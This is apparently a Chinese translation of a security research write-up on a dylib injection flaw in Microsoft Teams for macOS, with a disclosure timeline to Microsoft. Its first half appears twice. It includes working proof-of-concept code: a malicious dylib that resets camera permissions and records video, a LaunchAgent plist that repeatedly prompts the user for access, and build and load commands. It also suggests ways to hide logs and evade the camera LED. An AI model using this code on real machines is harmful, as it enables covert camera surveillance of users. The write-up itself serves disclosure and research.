紫队行动期间利用 macOS 的一个 Microsoft Teams漏洞
以下文章解释了在紫队参与期间我们如何能够识别 macOS 上 Microsoft Teams 中的漏洞,从而允许我们访问用户的摄像头和麦克风。
紫队的操作背景
作为紫队的一员,我们设法在运行 macOS 的计算机上获得远程访问权限(以用户身份)。除了设法入侵计算机之外,我们还想实施对客户产生明显影响的示例。因此,我们一直在考虑是否要窃听计算机或检索其视频流。由于Microsoft Teams默认安装在所有 macOS 计算机上(由客户端安装),因此我们将注意力转向了应用程序的安全性。我们应用了静态和动态分析程序,这有助于我们识别漏洞。一旦利用该漏洞,攻击者就可以捕获计算机的视频和声音流。
为了模拟攻击者在受感染的机器内部进行分析,我们仅使用了机器上现有的工具。测试是在 macOS 版本 14.4(Sonoma)上进行的。
如果您想在其他 macOS 版本上利用这些漏洞,请考虑这些信息。
我们客户工作站上的Microsoft Teams版本比最新版本旧,但该应用程序的最新版本(撰写本文时为版本 24152.405.2925.6762)也存在漏洞,我们将在下面向您展示。
设置
在开始分析之前,先下载最新版本的Microsoft Teams。
然后安装.pkg文件。
安装后,你可能会注意到一个应用程序(Microsoft AutoUpdate)已添加到用户的登录过程中。
还可以观察到Microsoft Teams现在可以访问麦克风。
侦察
Microsoft Teams.app包安装在/Applications目录中,默认情况下,组中的用户可以在该目录中进行读写admin。
ls从目录/Applications执行命令
ls -al从目录/Applications执行命令(截断结果)
执行命令id
可以轻松识别包(Microsoft Teams )内二进制vcxpc的存在。
我们还注意到,macOS Hardened Runtime 已针对此二进制文件正确设置。因此,不可能执行 .dylib劫持。
强化运行时与系统完整性保护 (SIP) 一起,通过防止某些类别的漏洞(如代码注入、动态链接库 (DLL) 劫持和进程内存空间篡改)来保护软件的运行时完整性。-链接
然而,通过探索应用程序(vcxpc)的权限,我们发现权限“禁用库验证权限(密钥:com.apple.security.cs.disable-library-validation,类型:)Boolean”被设置为True。这意味着加载过程没有检查正在加载的库的签名。
一个布尔值,指示应用程序是否加载任意插件或框架,而无需代码签名。 -链接
静态分析
然后我们探索了如何注入恶意库。
通过对库加载命令()感兴趣LC_LOAD_DYLIB,我们意识到库是相对于的值加载的rpath。
当您想要使用相对于可执行文件的位置(某些特殊的“@”路径就是为此而设)时,有许多不同的选择:
@executable_path
@loader_path
@rpath
@rpath相当于在LC_RPATH 命令引用的所有目录中进行搜索。
查看了该命令的所有定义后LC_RPATH,发现它是相对于二进制文件vcxpc的路径定义的,并且有一个到目录/Applications 的路径遍历。
动态分析
在这种情况下,动态分析非常简单,我们所要做的就是运行二进制文件。
该恶意库的代码如下。
文件:inject.m我们可以使用以下命令进行编译。一旦复制到正确的位置(/Applications),该库就会由二进制文件加载(当 执行vcxpc时),并且该库的构造函数也会正确执行。
有趣的是,在进一步探索了 Microsoft Teams 软件包之后,我们意识到预期的库(libskypert.dylib)可能在错误的位置。
概念验证的开发
为了开发针对该漏洞的概念验证漏洞利用程序,我们重用并改编了Dan Revah已经完成的出色工作(CVE-2023-26818 - 在 macOS 中使用 Telegram 绕过 TCC)。
文件:camera.m我们可以使用以下命令进行编译。剩下要做的就是创建文件~/Library/LaunchAgents/com.poc.launcher.plist。
文件:~/Library/LaunchAgents/com.poc.launcher.plist当创建.plist文件时,会向用户显示一条通知,但用户可能会被该应用程序来自“Microsoft Corporation”的事实所欺骗。
如果攻击者不想等待 macOS 重新启动来启动他的服务,他可以强制加载它。
然后,他可以查阅与他的服务相关的日志,查看视频的存储位置,然后将其提取出来。
有趣的是,如果用户拒绝授予对“ Microsoft Teams.app ”应用程序的访问权限(即使它实际上是正在执行的 vcxpc二进制文件,但它似乎是一个合法的应用程序 ),则与库配对的.plist会执行某种 MFA 疲劳,并每 60 秒向用户请求一次访问权限,直到授予权限为止。获得权限后,将不再请求访问,并且记录将自动进行。攻击者所要做的就是定期窃取各种记录。
结论
更进一步,也许我们可以使用额外的技巧来防止我们的日志被粗心的用户读取。我们可能能够将日志内容存储到扩展属性中,方法com.apple.ResourceFork 是将其保存到<FILE>/..namedfork/rsrc (分别为/tmp/poc.log/..namedfork/rsrc)。
这个技巧可以被看作是一个让你在 macOS 的 ADS(备用数据流)中隐藏数据的技巧。
此外,我们还可以仅在用户实际使用Microsoft Teams 应用程序时触发摄像头录制,这样通知用户摄像头处于活动状态的 LED(屏幕上部的绿灯)就不会引起任何怀疑。
无论如何,这次任务非常有趣,让我们有机会在最近的 macOS 应用程序上试验一些旧的开发技术。
披露时间表
2024/07/23 – 向 Microsoft 安全响应中心 (MSRC) 报告漏洞。
2024/07/30——自动确认漏洞。
2024/08/21-MSRC 确认他们重现了该漏洞。
2024/08/21 - MSRC 表示漏洞已修复。表示微软通常不会公开承认严重程度为低/中等的漏洞的发现者,但决定在这种情况下破例,因为该漏洞得到了快速跟踪和修复。
2024/08/21 - Quarkslab 漏洞报告团队 (QVRT) 询问是否发布了修复程序。要求 CVE 识别漏洞并提供相应安全公告的链接。
2024/08/21 -MSRC 回复称该案件结案过早,且该漏洞不会被分配 CVE。
2024/08/22 – QVRT 向 MSRC 询问修复程序是否已发布,并提供相应安全公告或 KB 文章的链接。
2024/09/13 - QVRT 要求更新,表示 Quarkslab 计划发布该漏洞的技术细节,并要求提供有关修复的官方声明以及补丁或安全公告的链接。
2024/09/17 - MSRC 写道,针对 QVRT 提交的漏洞“已报告修复”,并询问 QVRT 是否愿意分享即将发布的草案。
2024/09/17 - QVRT 询问是否已发布修复程序并提供相应安全公告或知识库文章的链接。表示这些问题自 8 月以来一直未得到解答。
2024/10/08- 博文发布。
作为紫队的一员,我们设法在运行 macOS 的计算机上获得远程访问权限(以用户身份)。除了设法入侵计算机之外,我们还想实施对客户产生明显影响的示例。因此,我们一直在考虑是否要窃听计算机或检索其视频流。由于Microsoft Teams默认安装在所有 macOS 计算机上(由客户端安装),因此我们将注意力转向了应用程序的安全性。我们应用了静态和动态分析程序,这有助于我们识别漏洞。一旦利用该漏洞,攻击者就可以捕获计算机的视频和声音流。
为了模拟攻击者在受感染的机器内部进行分析,我们仅使用了机器上现有的工具。测试是在 macOS 版本 14.4(Sonoma)上进行的。
如果您想在其他 macOS 版本上利用这些漏洞,请考虑这些信息。
我们客户工作站上的Microsoft Teams版本比最新版本旧,但该应用程序的最新版本(撰写本文时为版本 24152.405.2925.6762)也存在漏洞,我们将在下面向您展示。
设置
在开始分析之前,先下载最新版本的Microsoft Teams。
然后安装.pkg文件。
安装后,你可能会注意到一个应用程序(Microsoft AutoUpdate)已添加到用户的登录过程中。
还可以观察到Microsoft Teams现在可以访问麦克风。
侦察
Microsoft Teams.app包安装在/Applications目录中,默认情况下,组中的用户可以在该目录中进行读写admin。
ls从目录/Applications执行命令
ls -al从目录/Applications执行命令(截断结果)
执行命令id
可以轻松识别包(Microsoft Teams )内二进制vcxpc的存在。
我们还注意到,macOS Hardened Runtime 已针对此二进制文件正确设置。因此,不可能执行 .dylib劫持。
强化运行时与系统完整性保护 (SIP) 一起,通过防止某些类别的漏洞(如代码注入、动态链接库 (DLL) 劫持和进程内存空间篡改)来保护软件的运行时完整性。-链接
然而,通过探索应用程序(vcxpc)的权限,我们发现权限“禁用库验证权限(密钥:com.apple.security.cs.disable-library-validation,类型:)Boolean”被设置为True。这意味着加载过程没有检查正在加载的库的签名。
一个布尔值,指示应用程序是否加载任意插件或框架,而无需代码签名。 -链接
静态分析
然后我们探索了如何注入恶意库。
通过对库加载命令()感兴趣LC_LOAD_DYLIB,我们意识到库是相对于的值加载的rpath。
当您想要使用相对于可执行文件的位置(某些特殊的“@”路径就是为此而设)时,有许多不同的选择:
@executable_path
@loader_path
@rpath
@rpath相当于在LC_RPATH 命令引用的所有目录中进行搜索。
查看了该命令的所有定义后LC_RPATH,发现它是相对于二进制文件vcxpc的路径定义的,并且有一个到目录/Applications 的路径遍历。
动态分析
在这种情况下,动态分析非常简单,我们所要做的就是运行二进制文件。
该恶意库的代码如下。
文件:inject.m
#import <Foundation/Foundation.h>
__attribute__((constructor))
void inject(int argc, const char **argv) {
NSLog(@"[+] Library (.dylib) injected!");
}
gcc -framework Foundation -dynamiclib inject.m -o inject.dylib
有趣的是,在进一步探索了 Microsoft Teams 软件包之后,我们意识到预期的库(libskypert.dylib)可能在错误的位置。
概念验证的开发
为了开发针对该漏洞的概念验证漏洞利用程序,我们重用并改编了Dan Revah已经完成的出色工作(CVE-2023-26818 - 在 macOS 中使用 Telegram 绕过 TCC)。
文件:camera.m
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
@interface VideoRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>
@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *videoDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *movieFileOutput;
- (void)startRecording;
- (void)stopRecording;
@end
@implementation VideoRecorder
- (instancetype)init {
self = [super init];
if (self) {
[self setupCaptureSession];
}
return self;
}
- (void)setupCaptureSession {
self.captureSession = [[AVCaptureSession alloc] init];
self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;
AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
NSError *error;
self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&error];
if (error) {
NSLog(@"[x] Error setting up video device input: %@", [error localizedDescription]);
return;
}
if ([self.captureSession canAddInput:self.videoDeviceInput]) {
[self.captureSession addInput:self.videoDeviceInput];
}
self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];
if ([self.captureSession canAddOutput:self.movieFileOutput]) {
[self.captureSession addOutput:self.movieFileOutput];
}
}
- (void)startRecording {
[self.captureSession startRunning];
NSTimeInterval timeStamp = [[NSDate date] timeIntervalSince1970];
NSInteger intTimeStamp = round(timeStamp);
NSString *outputFilename = [NSString stringWithFormat:@"recording_%ld.mov", intTimeStamp];
NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:outputFilename];
NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
[self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
NSLog(@"[*] Recording started.");
}
- (void)stopRecording {
[self.movieFileOutput stopRecording];
[self.captureSession stopRunning];
NSLog(@"[*] Recording stopped.");
}
- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray<AVCaptureConnection *> *)connections
error:(NSError *)error {
if (error) {
NSLog(@"[x] Recording failed: %@", [error localizedDescription]);
} else {
NSLog(@"[+] Recording finished successfully. (Saved to %@)", outputFileURL.path);
}
}
@end
__attribute__((constructor))
static void telegram(int argc, const char **argv) {
__block int record_condition = 0;
__block int reset_condition = 0;
NSLog(@"[*] Check permission to access the camera and microphone ...");
switch ([AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeVideo])
{
case AVAuthorizationStatusAuthorized:
{
NSLog(@"[+] The user has previously granted access to the camera.");
record_condition = 1;
break;
}
case AVAuthorizationStatusNotDetermined:
{
NSLog(@"[*] The app hasn't yet asked the user for camera access.");
[AVCaptureDevice requestAccessForMediaType:AVMediaTypeVideo completionHandler:^(BOOL granted) {
if (granted)
{
NSLog(@"[+] Access granted by the user.");
record_condition = 1;
}
else
{
NSLog(@"[x] Access refused by the user.");
reset_condition = 1;
}
}];
break;
}
case AVAuthorizationStatusDenied:
{
NSLog(@"[!] The user has previously denied access.");
reset_condition = 1;
break;
}
case AVAuthorizationStatusRestricted:
{
NSLog(@"[x] The user can't grant access due to restrictions.");
reset_condition = 1;
break;
}
}
[NSThread sleepForTimeInterval:5];
if (reset_condition)
{
NSLog(@"[*] Resetting the previous choice ...");
NSTask *task = [[NSTask alloc] init];
task.launchPath = @"/usr/bin/tccutil";
task.arguments = @[@"reset", @"Camera"];
[task launch];
reset_condition = 0;
}
[NSThread sleepForTimeInterval:5];
if (record_condition)
{
VideoRecorder *videoRecorder = [[VideoRecorder alloc] init];
[videoRecorder startRecording];
[NSThread sleepForTimeInterval:3.0];
[videoRecorder stopRecording];
}
[[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:5.0]];
}
gcc -dynamiclib -framework Foundation -framework AVFoundation camera.m -o /Applications/libskypert.dylib
文件:~/Library/LaunchAgents/com.poc.launcher.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.poc.launcher</string>
<key>RunAtLoad</key>
<true/>
<key>ProgramArguments</key>
<array>
<string>/Applications/Microsoft Teams.app/Contents/XPCServices/vcxpc.xpc/Contents/MacOS/vcxpc</string>
</array>
<key>StartInterval</key>
<integer>60</integer>
<key>StandardOutPath</key>
<string>/tmp/poc.log</string>
<key>StandardErrorPath</key>
<string>/tmp/poc.log</string>
</dict>
</plist>
如果攻击者不想等待 macOS 重新启动来启动他的服务,他可以强制加载它。
launchctl load ~/Library/LaunchAgents/com.poc.launcher.plist
然后,他可以查阅与他的服务相关的日志,查看视频的存储位置,然后将其提取出来。
有趣的是,如果用户拒绝授予对“ Microsoft Teams.app ”应用程序的访问权限(即使它实际上是正在执行的 vcxpc二进制文件,但它似乎是一个合法的应用程序 ),则与库配对的.plist会执行某种 MFA 疲劳,并每 60 秒向用户请求一次访问权限,直到授予权限为止。获得权限后,将不再请求访问,并且记录将自动进行。攻击者所要做的就是定期窃取各种记录。
结论
更进一步,也许我们可以使用额外的技巧来防止我们的日志被粗心的用户读取。我们可能能够将日志内容存储到扩展属性中,方法com.apple.ResourceFork 是将其保存到<FILE>/..namedfork/rsrc (分别为/tmp/poc.log/..namedfork/rsrc)。
这个技巧可以被看作是一个让你在 macOS 的 ADS(备用数据流)中隐藏数据的技巧。
此外,我们还可以仅在用户实际使用Microsoft Teams 应用程序时触发摄像头录制,这样通知用户摄像头处于活动状态的 LED(屏幕上部的绿灯)就不会引起任何怀疑。
无论如何,这次任务非常有趣,让我们有机会在最近的 macOS 应用程序上试验一些旧的开发技术。
披露时间表
2024/07/23 – 向 Microsoft 安全响应中心 (MSRC) 报告漏洞。
2024/07/30——自动确认漏洞。
2024/08/21-MSRC 确认他们重现了该漏洞。
2024/08/21 - MSRC 表示漏洞已修复。表示微软通常不会公开承认严重程度为低/中等的漏洞的发现者,但决定在这种情况下破例,因为该漏洞得到了快速跟踪和修复。
2024/08/21 - Quarkslab 漏洞报告团队 (QVRT) 询问是否发布了修复程序。要求 CVE 识别漏洞并提供相应安全公告的链接。
2024/08/21 -MSRC 回复称该案件结案过早,且该漏洞不会被分配 CVE。
2024/08/22 – QVRT 向 MSRC 询问修复程序是否已发布,并提供相应安全公告或 KB 文章的链接。
2024/09/13 - QVRT 要求更新,表示 Quarkslab 计划发布该漏洞的技术细节,并要求提供有关修复的官方声明以及补丁或安全公告的链接。
2024/09/17 - MSRC 写道,针对 QVRT 提交的漏洞“已报告修复”,并询问 QVRT 是否愿意分享即将发布的草案。
2024/09/17 - QVRT 询问是否已发布修复程序并提供相应安全公告或知识库文章的链接。表示这些问题自 8 月以来一直未得到解答。
2024/10/08- 博文发布。
评论1次
挺详细…